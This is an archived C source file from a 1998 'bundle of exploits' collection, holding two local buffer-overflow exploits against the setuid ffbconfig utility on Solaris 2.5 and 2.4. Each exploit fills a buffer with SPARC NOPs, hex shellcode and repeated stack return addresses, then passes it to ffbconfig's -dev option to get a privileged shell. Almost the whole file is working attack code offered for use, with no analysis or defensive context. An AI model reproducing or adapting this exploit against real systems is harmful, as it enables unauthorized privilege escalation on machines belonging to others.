home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ffbconfig-ex.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  122 lines

  1. /*
  2. This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
  3. */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <sys/types.h>
  8. #include <unistd.h>
  9.  
  10. #define BUF_LENGTH      128
  11. #define EXTRA           256
  12. #define STACK_OFFSET    128
  13. #define SPARC_NOP       0xa61cc013
  14.  
  15. u_char sparc_shellcode[] =
  16. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  17. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  18. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  19. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  20. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  21.  
  22. u_long get_sp(void)
  23. {
  24.   __asm__("mov %sp,%i0 \n");
  25. }
  26.  
  27. void main(int argc, char *argv[])
  28. {
  29.   char buf[BUF_LENGTH + EXTRA];
  30.   long targ_addr;
  31.   u_long *long_p;
  32.   u_char *char_p;
  33.   int i, code_length = strlen(sparc_shellcode),so;
  34.  
  35.   long_p = (u_long *) buf;
  36.  
  37.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  38.     *long_p++ = SPARC_NOP;
  39.  
  40.   char_p = (u_char *) long_p;
  41.  
  42.   for (i = 0; i < code_length; i++)
  43.     *char_p++ = sparc_shellcode[i];
  44.  
  45.   long_p = (u_long *) char_p;
  46.  
  47.   targ_addr = get_sp() - STACK_OFFSET;
  48.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  49.     *long_p++ =targ_addr;
  50.  
  51.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  52. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  53.  
  54.   execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  55.   perror("execl failed");
  56. }
  57.  
  58. ------------------------ end of "ffbcexp25.c"  --------------------------------
  59.  
  60. -------------------------------- second --------------------------------------
  61.  
  62. /*
  63. This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
  64. */
  65.  
  66.  
  67.  
  68. #include <stdio.h>
  69. #include <stdlib.h>
  70. #include <sys/types.h>
  71. #include <unistd.h>
  72.  
  73. #define BUF_LENGTH      128
  74. #define EXTRA           256
  75. #define STACK_OFFSET    128
  76. #define SPARC_NOP       0xa61cc013
  77.  
  78. u_char sparc_shellcode[] =
  79. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  80. "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  81. "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  82. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  83. "\x91\xd0\x20\x08"
  84. ;
  85.  
  86.  
  87. u_long get_sp(void)
  88. {
  89.   __asm__("mov %sp,%i0 \n");
  90. }
  91.  
  92. void main(int argc, char *argv[])
  93. {
  94.   char buf[BUF_LENGTH + EXTRA];
  95.   long targ_addr;
  96.   u_long *long_p;
  97.   u_char *char_p;
  98.   int i, code_length = strlen(sparc_shellcode),so;
  99.  
  100.   long_p = (u_long *) buf;
  101.  
  102.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  103.     *long_p++ = SPARC_NOP;
  104.  
  105.   char_p = (u_char *) long_p;
  106.  
  107.   for (i = 0; i < code_length; i++)
  108.     *char_p++ = sparc_shellcode[i];
  109.  
  110.   long_p = (u_long *) char_p;
  111.   targ_addr = get_sp() - STACK_OFFSET;
  112.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  113.     *long_p++ =targ_addr;
  114.  
  115.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  116. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  117.  
  118.   execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  119.   perror("execl failed");
  120. }
  121.  
  122.